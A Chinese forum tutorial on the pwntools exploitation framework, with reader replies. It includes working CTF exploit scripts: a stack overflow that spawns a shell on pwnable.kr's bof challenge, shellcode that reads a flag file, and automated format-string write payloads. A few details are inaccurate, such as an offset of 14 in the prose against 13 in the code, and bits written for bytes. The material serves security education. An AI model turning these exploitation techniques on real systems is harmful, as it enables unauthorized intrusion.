首页
社区
课程
招聘
[原创][新手向] 一步一步学pwntools
2018-10-10 21:53 75294

[原创][新手向] 一步一步学pwntools

2018-10-10 21:53
75294

刚刚注册看雪,就来水一篇文章。

 

本来想发发我之前CTF的writeups,不过数量有点多,而且网上也有很多质量不错的wp,就发回之前写的pwntools新手教程。网上纯新手教程比较少,一般都是直接调用api,这篇主要是想给新手对pwntool一个更整体的认识。原文是我用英文写的,如果翻译的不好,请见谅。原文点此

 

下面开始正文:

pwntools是一个二进制利用框架。官方文档提供了详细的api规范。然而目前并没有一个很好的新手教程。因此我用了我过去的几篇writeup。由于本文只是用来介绍pwntools使用方法,我不会过于详细的讲解各种二进制漏洞攻击技术。

Pwntools的“Hello World”

栈溢出无疑是二进制攻击的“Hello World”。这里,我们用pwnable.kr的bof来进行展示。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

pwntools脚本:

from pwn import * 
c = remote("pwnable.kr", 9000) 
c.sendline("AAAA" * 13 + p32(0xcafebabe))
c.interactive()

源码简洁明了,我们只需要将key改写成0xcafebabe

 

现在我们重新看回pwntools脚本。第一行将pwntools提供的工具引入到我们的python上下文中。

 

remote("一个域名或者ip地址", 端口) 会连接到我们指定的地址及端口。 然后该函数会返回remote对象 (这里,我们将该对象保存到了变量 c). remote对象主要用来进行对远程主机的输入输出. 它有如下几个方法:

  • send(payload) 发送payload
  • sendline(payload) 发送payload,并进行换行(末尾\n
  • sendafter(some_string, payload) 接收到 some_string 后, 发送你的 payload
  • recvn(N) 接受 N(数字) 字符
  • recvline() 接收一行输出
  • recvlines(N) 接收 N(数字) 行输出
  • recvuntil(some_string) 接收到 some_string 为止

在第三行中, p32() 可以让我们转换整数到小端序格式. p32 转换4字节. p64p16 则分别转换 8 bit 和 2 bit 数字. c.sendline 将我们的payload发送到远程主机. "AAAA" * 14 是我们到key的偏移量. Pwntools 不能自动运算偏移量,用户需要自行计算。

 

最后,我们成功getshell了. 这时,你可能想发送命令进行交互. c.interactive() 允许我们在终端里将命令传送到远程服务器. Pwntools 会自动接收输出并回显 .

 

图片描述

写 Shellcode

下一题是pwnable.kr的asm. 你需要用 ssh -p2222 asm@pwnable.kr 并输入密码 guest 来查看可执行文件和源码. 这里,我们只展示利用代码:

from pwn import *

p = process("./asm")
context.log_level = 'DEBUG'
gdb.attach(p)

context(arch='amd64', os='linux')

shellcode = shellcraft.amd64.pushstr("this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong")
shellcode += shellcraft.amd64.linux.open('rsp',0,0)
shellcode += shellcraft.amd64.linux.read('rax','rsp',0)
shellcode += shellcraft.amd64.linux.write(1, 'rsp', 100)

p.recvuntil('shellcode: ')
p.send(asm(shellcode))
log.success(p.recvall())

我们这里用到了新的api: process(), contex.log_level, gdb.attach, 和 shellcraft.
processremote 累死. remote 连接远程主机, process 则通过你声明的二进制文件路径在本地创建新的进程. 除了 I/O, process 返回的对象可以通过 gdb.attach(p) 将进程attach到gdb上. Attach 之后, gdb 便可以调试该程序来 (设置 breakpoints, 查看 stack, 以及简单的反汇编).

 

图片描述

提醒一下,如果你想在命令行中使用gdb.attach(), 便需要安装并运行 tmux. 更多关于tmux的信息.

 

当我们想查看服务器输出时,并不需要在每个 recvline 或者 recvuntil 前加 print. 当 context.log_level 被设置为 "DEBUG" , 我们的输入和服务器的输出会被直接输出.

 

shellcraft 是一个帮忙生成shellcode的类. 在我们的例子中, 我们 open 了一个文件并 read 文件到 stdout. 关于这个类更多的文档, 你可以查阅 官方文档.

格式化漏洞自动化

我没有找到一个比较容易做的格式化漏洞题目,所以干脆用了官方文档的例子:

from pwn import *
import tempfile

program = tempfile.mktemp()
source  = program + ".c"
write(source, '''
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#define MEMORY_ADDRESS ((void*)0x11111000)
#define MEMORY_SIZE 1024
#define TARGET ((int *) 0x11111110)
int main(int argc, char const *argv[])
{
       char buff[1024];
       void *ptr = NULL;
       int *my_var = TARGET;
       ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
       if(ptr != MEMORY_ADDRESS)
       {
               perror("mmap");
               return EXIT_FAILURE;
       }
       *my_var = 0x41414141;
       write(1, &my_var, sizeof(int *));
       scanf("%s", buff);
       dprintf(2, buff);
       write(1, my_var, sizeof(int));
       return 0;
}''')
cmdline = ["gcc", source, "-Wno-format-security", "-m32", "-o", program]
process(cmdline).wait_for_close()
def exec_fmt(payload):
    p = process(program)
    p.sendline(payload)
    return p.recvall()

autofmt = FmtStr(exec_fmt)
offset = autofmt.offset
p = process(program, stderr=PIPE)
addr = u32(p.recv(4))
payload = fmtstr_payload(offset, {addr: 0x1337babe})
p.sendline(payload)
print hex(unpack(p.recv(4)))

有了 FmtStr, 我们不用算偏移量算到疯. 我们需要先构造一个可以接收我们输入并返回格式化字符串输出的函数. 接着,我们可以得到 autofmt. 这个对象包含 offset, 即算好的偏移量. fmtstr_payload(offset, {address: value}) 帮我们生成最后的payload. 第一个参数 offsetautofmt.offset 算好的即可. 然后, 我们需要声明 {address: value} 来覆盖address的内容成对应的value. 我们还可以同时改写多个地址: {address1: value1, address2:value2,..., address: valueN}.

 

有些情况不能自动生成payload. 以下文档介绍了如何手动生成payload fmtstr_payload.

使用 ELF()

有些题目给了我们libc. 用 gdb> x function1 — function2 算偏移量太麻烦了, 因此有了 ELF.

from pwn import *

e = ELF('./example_file')
print hex(e.address)  # 0x400000
print hex(e.symbols['write']) # 0x401680
print hex(e.got['write']) # 0x60b070
print hex(e.plt['write']) # 0x401680
offset = e.symbols['system'] - e.symbols['printf'] # calculate offset
binsh_address = next(e.search('/bin/sh\x00')) # find address which contains /bin/sh

process() 一样, 我们只用将路径给 ELF(path) 即可分析 ELF.

 

我们有以下几种方法操纵ELF:

  • symbols['a_function'] 找到 a_function 的地址
  • got['a_function'] 找到 a_function的 got
  • plt['a_function'] 找到 a_function 的 plt
  • next(e.search("some_characters")) 找到包含 some_characters(字符串,汇编代码或者某个数值)的地址.

总结

Pwntools 是一套十分强大的工具. 在本文中, 我介绍了最常用的几个api, 但 pwntools 还有很多其他强大的api,诸如 qemu, adb. 各位可通过官方文档进行剩余的学习

 

文章就到这里了,第一次发贴orz,略略水,请各位大佬见谅。
我的blog: http://www.auxy.xyz会有略略高级的writeup,主攻pwn和web。博客为英文,不过还是希望大佬们捧捧场qaq。


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2019-1-30 13:20 被admin编辑 ,原因:
上传的附件:
  • bof (7.18kb,92次下载)
  • asm (13.38kb,82次下载)
收藏
点赞16
打赏
分享
打赏 + 2.00雪花
打赏次数 1 雪花 + 2.00
 
赞赏  junkboy   +2.00 2018/10/11
最新回复 (23)
雪    币: 6937
活跃值: (2589)
能力值: (RANK:520 )
在线值:
发帖
回帖
粉丝
netwind 13 2018-10-10 22:33
2
0
感谢分享!
雪    币: 965
活跃值: (84)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ielts 2018-10-11 05:42
3
0
感谢分享!
雪    币: 11716
活跃值: (133)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
junkboy 2018-10-11 07:04
4
0
支持
雪    币: 1689
活跃值: (178)
能力值: ( LV7,RANK:103 )
在线值:
发帖
回帖
粉丝
Snowleo 1 2018-10-11 08:27
5
0
感谢分享!
另外我想问下elf.symbols和elf.plt的区别
雪    币: 1470
活跃值: (74)
能力值: ( LV5,RANK:75 )
在线值:
发帖
回帖
粉丝
新月之铭 2018-10-11 09:25
6
0
楼主的博客无法访问,不知道为啥,另外能不能把题目留下?
雪    币: 431
活跃值: (259)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
Auxy 2018-10-11 11:19
7
0
新月之铭 楼主的博客无法访问,不知道为啥,另外能不能把题目留下?
不能访问吗?我把代理关了试了一波都没问题诶,题目马上更新
雪    币: 431
活跃值: (259)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
Auxy 2018-10-11 11:26
8
1
Snowleo 感谢分享! 另外我想问下elf.symbols和elf.plt的区别
对不起,这个没有特别了解. 但应该是等同的
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kncc 2018-10-11 12:31
9
0
感谢大佬,真的很有用,初学的时候没有这个真的挺麻烦的
雪    币: 6306
活跃值: (2719)
能力值: ( LV13,RANK:283 )
在线值:
发帖
回帖
粉丝
littlewisp 2 2018-10-11 17:01
10
0
支持分享
雪    币: 1470
活跃值: (74)
能力值: ( LV5,RANK:75 )
在线值:
发帖
回帖
粉丝
新月之铭 2018-10-11 19:00
11
0
Auxy 对不起,这个没有特别了解. 但应该是等同的
能访问了,全是英文的。
雪    币: 7
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
子木zimu 2018-10-11 21:19
12
0
感谢楼主分享
雪    币: 5676
活跃值: (1303)
能力值: ( LV17,RANK:1185 )
在线值:
发帖
回帖
粉丝
holing 15 2018-10-12 03:05
13
0
卧槽,格式化字符串的payload我自己造了一个轮子。。没想到pwntools就有。。。
雪    币: 431
活跃值: (259)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
Auxy 2018-10-12 14:50
14
0
holing 卧槽,格式化字符串的payload我自己造了一个轮子。。没想到pwntools就有。。。
那真的tql。。。
雪    币: 155
活跃值: (148)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
敢敢 2018-10-12 18:13
15
0
膜师傅~
希望师傅以后可以多出一些pwn的教程= =
雪    币: 2
活跃值: (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
皮皮虾ppx 2018-10-12 18:40
16
0
向大佬低头
雪    币: 205
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lxraaa 2018-10-17 18:22
17
0
感谢分享
另外想请教一下,我运行了tmux后gdb.attach出现error in sourced command file是为啥,git上有人问了一样的问题但是没得到解答:

雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
liuyuhe 2019-9-14 17:39
18
0
感谢大佬分享!
想问一下入门PWN,需要掌握哪些知识?
雪    币: 270
活跃值: (1662)
能力值: ( LV5,RANK:75 )
在线值:
发帖
回帖
粉丝
Vinadiak 1 2019-9-14 19:49
19
0
感谢 ! 
想问下大佬为什么一些人写的payload有时候需要用到content.remote_libc_dir,这个有什么作用吗
雪    币: 293
活跃值: (126)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
DAK 2019-10-13 19:01
20
0
感谢!!
请问一下那个我使用pwntools的时会出现ModuleNotFoundError: No module named 'remote'
我该如何解决
雪    币: 246
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ttwodoges 2019-11-25 13:53
21
0
博主你网站被人挂xss了
雪    币: 218
活跃值: (218)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
re1wn 2021-1-9 09:48
22
0
感谢分享
雪    币: 177
活跃值: (278)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
天堂猪 2021-5-26 15:08
23
0
我尝试sendline('hello world')  debug显示确实发送了,但是实际程序只收到了hello,什么原因
雪    币: 14
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
breeze666 2021-9-11 17:51
24
0
大佬,主攻pwn和web,一方面都够呛,大佬来两个方面
游客
登录 | 注册 方可回帖
返回